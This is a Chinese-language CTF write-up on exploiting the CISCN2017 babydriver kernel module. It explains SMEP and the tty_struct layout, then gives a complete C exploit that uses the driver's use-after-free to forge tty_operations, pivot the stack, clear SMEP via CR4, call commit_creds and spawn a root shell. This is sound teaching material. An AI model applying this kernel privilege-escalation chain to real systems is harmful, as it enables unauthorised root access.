Linux内核漏洞利用 Bypass SMEP

初探Linux内核UAF中,通过UAF,以进程的cred结构体占坑,从而修改cred结构体完成了提权。本文再通过绕过SMEP保护,以ret2usr的方式来提权。这样可以同时学习SMEP机制及其绕过,以及对tty_structtty_operations结构的利用。

这里仍然用了CISCN2017-babydriver,对驱动的漏洞分析见我之前的文章初探Linux内核UAF

题目链接: 题目链接-babydriver.tar

SMEP

SMEP(Supervisor Mode Execute Protection),管理模式执行保护,是内核的一种保护机制,当CPU处于Ring 0 内核态,即CS寄存器中最低2位CPL(Current Privilege Level 当前特权级)为0时,执行用户地址空间的代码会触发页错误,这是为了防止在上篇初探Linux内核栈溢出中介绍到的ret2usr这种攻击手段。还有一个类似的保护机制SMAP,则是禁止内核态访问用户地址空间数据的。

内核是根据控制寄存器cr4的第20位来判断是否开启SMEP的:

例如,当CR4寄存器中的值如下时,smep 保护开启

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$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000

而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要像下面这样修改它的值,就可以关闭SMEP了

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mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000

tty_struct

ptmx设备是tty设备的一种,open函数被tty核心调用,当一个用户对这个tty驱动被分配的设备节点调用opentty核心使用一个指向分配给这个设备的tty_struct结构的指针调用它,也就是说我们在调用open("/dev/ptmx", O_RDWR)之后会新创建一个tty_struct结构体。

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// Linux-4.19.65-source/include/linux/tty.h

/*
* Where all of the state associated with a tty is kept while the tty
* is open. Since the termios state should be kept even if the tty
* has been closed --- for things like the baud rate, etc --- it is
* not stored here, but rather a pointer to the real state is stored
* here. Possible the winsize structure should have the same
* treatment, but (1) the default 80x24 is usually right and (2) it's
* most often used by a windowing system, which will set the correct
* size each time the window is created or resized anyway.
* - TYT, 9/14/92
*/

struct tty_operations;

struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;

/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;

struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;

struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

tty_struct结构体中,有一个重要的成员const struct tty_operations *ops,它存储着我们对上面打开的/dev/ptmx文件的操作函数集合的函数指针:

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struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

而这个tty_struct也是通过kmalloc来分配内存的:

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// Linux-4.19.65-source/drivers/tty/tty_io.c
struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
struct tty_struct *tty;

tty = kzalloc(sizeof(*tty), GFP_KERNEL); <<---- here
if (!tty)
return NULL;

kref_init(&tty->kref);
tty->magic = TTY_MAGIC;
if (tty_ldisc_init(tty)) {
kfree(tty);
return NULL;
}
tty->session = NULL;
tty->pgrp = NULL;
mutex_init(&tty->legacy_mutex);
mutex_init(&tty->throttle_mutex);
init_rwsem(&tty->termios_rwsem);
mutex_init(&tty->winsize_mutex);
init_ldsem(&tty->ldisc_sem);
init_waitqueue_head(&tty->write_wait);
init_waitqueue_head(&tty->read_wait);
INIT_WORK(&tty->hangup_work, do_tty_hangup);
mutex_init(&tty->atomic_write_lock);
spin_lock_init(&tty->ctrl_lock);
spin_lock_init(&tty->flow_lock);
spin_lock_init(&tty->files_lock);
INIT_LIST_HEAD(&tty->tty_files);
INIT_WORK(&tty->SAK_work, do_SAK_work);

tty->driver = driver;
tty->ops = driver->ops;
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);

return tty;
}

// Linux-4.19.65-source/include/linux/slab.h
static inline void *kzalloc(size_t size, gfp_t flags)
{
return kmalloc(size, flags | __GFP_ZERO);
}

因此,由于tty_struct是通过kzmalloc分配堆内存的,那么也可以通过UAF控制到这个结构体,进而伪造tty_operations结构体,劫持函数调用:

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// FROM https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/bypass_smep-zh/

fake_tty_struct fake_tty_operations
+---------+ +----------+
|magic | +----->|myfunc |
+---------+ | +----------+
|...... | | |myfunc |
|...... | | +----------+
+---------+ | |myfunc |
|*ops |-----+ +----------+
+---------+ |myfunc |
|...... | +----------+
|...... | |...... |
+---------+ +----------+

漏洞利用

这里没有开启kaslr,找到gadget地址直接用就可以了

首先,得找mov cr4, xxxx这样的gadget,这里题目链接-babydriver.tar只给了bzImage没有给vmlinux,用extract-vmlinux 解压即可

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./extract-vmlinux.sh ./bzImage > ./vmlinux
ropper -f ./vmlinux > ./gadget 或者 ROPgadget --binary ./vmlinux > gadget.txt
cat ./gadget.txt | grep "mov cr4"

找到可用的gadget了0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret

栈迁移 -> ROP

这里是UAF漏洞,没有办法直接控制栈来进行ROP,因此,得尝试进行栈迁移。用如下代码作测试,将tty_struct->tty_fops->write函数的指针改写为babyread的地址,最后通过write(fd_tty, , )来调用到babyread

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//gcc -static -masm=intel -g -o exp2 exp2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

size_t fake_tty_operations[0x20] = {0};
size_t fake_tty_struct[4] = {0};

int main(){

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// change the babydev_struct.device_buf
// the buf_size = sizeof(struct tty_struct)
ioctl(fd1, 0x10001, 0x2e0);

// call babyrelease(), now we have a dangling pointer in fd2
close(fd1);
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);

read(fd2, fake_tty_struct, 0x18);
for(int i=0; i<0x20; i++) fake_tty_operations[i] = 0xffffffffffff0000+i ;
fake_tty_operations[7] = 0xffffffffc0000130; // tty_fops->write = babyread
fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations
write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct
write(fd_tty, fake_tty_operations, 0x20); // call tty_fops->write

}

/*
babydriver.ko 0xffffffffc0000000

*/

对babyread函数下断点,观察一下call tty_fops->write时的寄存器和栈的状态,寻找栈迁移的时机。第二次断下即是我们要观察的调用了:

可以看到,当进入到babyread时,RAX寄存器的值即为fake_tty_operations结构的地址

img

栈回溯看看,原来是通过[rax+offset]的方式进行调用的。

img

因此,只需要在这里使用如mov rsp, rax等gadget,就能完成栈迁移,进行ROP了。

完整EXP

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//CISCN2017-babydriver
//sunxiaokong
//gcc -static -masm=intel -g -o exp2 exp2.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

void get_usr_regs();
int get_kernel_addr();
void root();
void getshell();

size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode
size_t fake_tty_operations[0x20];
size_t fake_tty_struct[4];
size_t rop_chain[20];
size_t commit_creds;
size_t prepare_kernel_cred;

int main(){
get_usr_regs();
get_kernel_addr();

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// change the babydev_struct.device_buf
// the buf_size = sizeof(struct tty_struct)
ioctl(fd1, 0x10001, 0x2e0);

// call babyrelease(), now we have a dangling pointer in fd2
close(fd1);
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);

read(fd2, fake_tty_struct, 0x40);
fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations
for(int i=0; i<30; i++) fake_tty_operations[i] = 0xffffffff8181bfc5;;
fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
// fake_tty_operations[7] = 0xffffffff817a4aba; // push rax; pop rsp; pop rbp ; ret
fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax ; ret
fake_tty_operations[1] = (size_t)rop_chain;
fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
fake_tty_operations[3] = (size_t)rop_chain;

int i = 0;
rop_chain[i++] = 0xffffffff810d238d; // pop rdi ; ret
rop_chain[i++] = 0x6f0; // SMEP = 0
rop_chain[i++] = 0xffffffff81004d80; //mov cr4, rdi ; pop rbp ; ret
rop_chain[i++] = (size_t)rop_chain;
rop_chain[i++] = (size_t)root;
rop_chain[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop_chain[i++] = 0;
rop_chain[i++] = 0xffffffff814e35ef; // iretq; ret;
rop_chain[i++] = (size_t)getshell;
rop_chain[i++] = usr_cs; /* saved CS */
rop_chain[i++] = usr_rflags; /* saved EFLAGS */
rop_chain[i++] = usr_rsp;
rop_chain[i++] = usr_ss;
write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct
char buf[8] = {0};
write(fd_tty, buf, 8); // call tty_fops->write

}

/* save some regs of user mode */
void get_usr_regs(){
__asm__(
"mov usr_cs, cs;"
"mov usr_ss, ss;"
"mov usr_rsp, rsp;"
"pushfq;"
"pop usr_rflags;"
);
printf("[^.^] save regs of user mode, done !!!\n");
}

int get_kernel_addr(){
char *buf = (char *)malloc(0x50);
FILE *kallsyms = fopen("/proc/kallsyms", "r");

while(fgets(buf, 0x50, kallsyms)){
// fgets:read one line at one time
if(strstr(buf, "prepare_kernel_cred")){
sscanf(buf, "%lx", &prepare_kernel_cred);
printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
}

if(strstr(buf, "commit_creds")){
sscanf(buf, "%lx", &commit_creds);
printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
}

if(commit_creds && prepare_kernel_cred){
return 0;
}
}
}

void root(){
(*((void (*)(char *))commit_creds))(
(*((char* (*)(int))prepare_kernel_cred))(0)
);
}

void getshell(){
system("/bin/sh");
}

/*
babydriver.ko 0xffffffffc0000000

0xffffffff814dc0c3 : call [rax+offset]

0xffffffff810539b1 : pop rax ; xchg eax, esp ; retf
retf = pop rip; pop cs

0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret

0xffffffff810d238d : pop rdi ; ret

0xffffffff8100ce6e : pop rax ; ret

0xffffffff81171045 : pop rsp ; ret

0xffffffff81020f11 : push rax ; ret

0xffffffff8181bfc5 mov rsp,rax ; dec ebx ; ret

0xffffffff817a4aba : push rax ; adc byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret

0xffffffff814ff52b : push rax ; or byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret

*/
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